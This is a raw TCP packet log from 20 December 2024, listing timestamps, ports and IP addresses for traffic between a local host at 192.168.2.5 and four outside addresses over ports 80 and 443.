Dec 20, 2024 13:12:31.133038998 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:31.133085012 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.133984089 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.141158104 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:31.141468048 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:31.141480923 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.875274897 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.875566006 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.875659943 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:31.877373934 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:31.877403021 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:31.877531052 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:31.880877972 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:31.880928993 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.896373034 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:31.896384954 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:32.160728931 CET	80	49890	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:32.164024115 CET	49890	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:32.168221951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:32.168576956 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:32.288075924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:32.288182974 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:32.288259983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:32.288530111 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:32.288530111 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:32.315454960 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:32.315562963 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:32.315762043 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:32.316060066 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:32.316097021 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:32.408411026 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.538319111 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.538528919 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.540329933 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.540352106 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.541274071 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.545134068 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.545866966 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.545944929 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.548049927 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.548122883 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.552078009 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.552165985 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.556117058 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.556169987 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.560117006 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.560173035 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.564130068 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.564177990 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.564203024 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.564246893 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.564343929 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.564382076 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.564423084 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.568150997 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.568200111 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.611360073 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.611718893 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.611763954 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.611814976 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.611857891 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.611932039 CET	49894	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:33.611964941 CET	443	49894	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:33.612844944 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.612881899 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.612917900 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.612925053 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.612972021 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.612984896 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.612984896 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.613070011 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.613075972 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.613105059 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.613132954 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.613159895 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.613460064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.613512993 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.613833904 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.613866091 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.613890886 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.613914967 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.614609957 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.614672899 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.634948015 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:33.635430098 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:33.635442972 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:33.636871099 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:33.637031078 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:33.723671913 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:33.723777056 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:33.734597921 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.734679937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.734680891 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.734755039 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.738960028 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.739058971 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.739068031 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.739105940 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.773144960 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:33.773154020 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:33.805123091 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.805371046 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.805461884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.805521011 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.809322119 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.809395075 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.809494972 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.809551001 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.817761898 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.817857027 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.817873001 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.817912102 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.820199966 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:33.826209068 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.826282978 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.826354027 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.826415062 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.834580898 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.834615946 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.834655046 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.834686041 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.842942953 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.843060017 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.843067884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.843117952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.851301908 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.851388931 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.851421118 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.851470947 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.859819889 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.859894037 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.859913111 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.859987974 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.868144035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.868201017 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.868211031 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.868257046 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.876616001 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.876681089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.876682997 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.876737118 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.883842945 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.883902073 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.883946896 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.884001970 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.891150951 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.891213894 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.891307116 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.891365051 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.998864889 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.998904943 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:33.998967886 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:33.998967886 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.000703096 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.000763893 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.000916004 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.000969887 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.004512072 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.004585028 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.004663944 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.004738092 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.008997917 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.009128094 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.009202003 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.009269953 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.013395071 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.013458967 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.013530970 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.013592958 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.017934084 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.017990112 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.018059969 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.018121004 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.022480965 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.022546053 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.022551060 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.022607088 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.026982069 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.027040005 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.027163029 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.027219057 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.031167030 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.031224012 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.031377077 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.031431913 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.035583019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.035635948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.035697937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.035748005 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.040168047 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.040216923 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.040347099 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.040391922 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.044580936 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.044631004 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.044747114 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.044792891 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.049041986 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.049091101 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.049141884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.049190044 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.053647995 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.053714991 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.053756952 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.053814888 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.058008909 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.058043957 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.058075905 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.058094978 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.062454939 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.062530994 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.063391924 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.063448906 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.066821098 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.066873074 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.066884995 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.066926956 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.071362019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.071396112 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.071414948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.071444035 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.075798035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.075859070 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.075906992 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.075964928 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.080244064 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.080293894 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.080300093 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.080344915 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.084665060 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.084733963 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.084757090 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.084817886 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.089071035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.089128971 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.089171886 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.089221954 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.093444109 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.093476057 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.093498945 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.093528986 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.094460964 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:34.094690084 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:34.094743967 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:34.097925901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.097990036 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.098050117 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.098104954 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.129833937 CET	49892	443	192.168.2.5	98.85.100.80
Dec 20, 2024 13:12:34.129843950 CET	443	49892	98.85.100.80	192.168.2.5
Dec 20, 2024 13:12:34.189426899 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.189488888 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.189497948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.189562082 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.191135883 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.191205025 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.191240072 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.191296101 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.194957972 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.195029974 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.195118904 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.195190907 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.198432922 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.198487043 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.198509932 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.198535919 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.202030897 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.202068090 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.202092886 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.202133894 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.205466986 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.205519915 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.205524921 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.205573082 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.208920002 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.208955050 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.208986044 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.209017992 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.212116003 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.212179899 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.212250948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.212327957 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.215287924 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.215354919 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.215389967 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.215445042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.218658924 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.218723059 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.218807936 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.218859911 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.221748114 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.221807957 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.221892118 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.221950054 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.224853992 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.224910975 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.225138903 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.225193977 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.227919102 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.227993011 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.228065014 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.228121996 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.231084108 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.231142998 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.231143951 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.231199026 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.233874083 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.233932972 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.234020948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.234081984 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.236886024 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.236938953 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.237059116 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.237118959 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.239855051 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.239928961 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.239988089 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.240039110 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.242882013 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.242938042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.243112087 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.243158102 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.245857000 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.245908976 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.246114016 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.246164083 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.248912096 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.248970032 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.249110937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.249172926 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.251986027 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.252038956 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.252095938 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.252150059 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.254934072 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.254971981 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.254995108 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.255019903 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.257946968 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.258006096 CET	49893	80	192.168.2.5	31.41.244.11
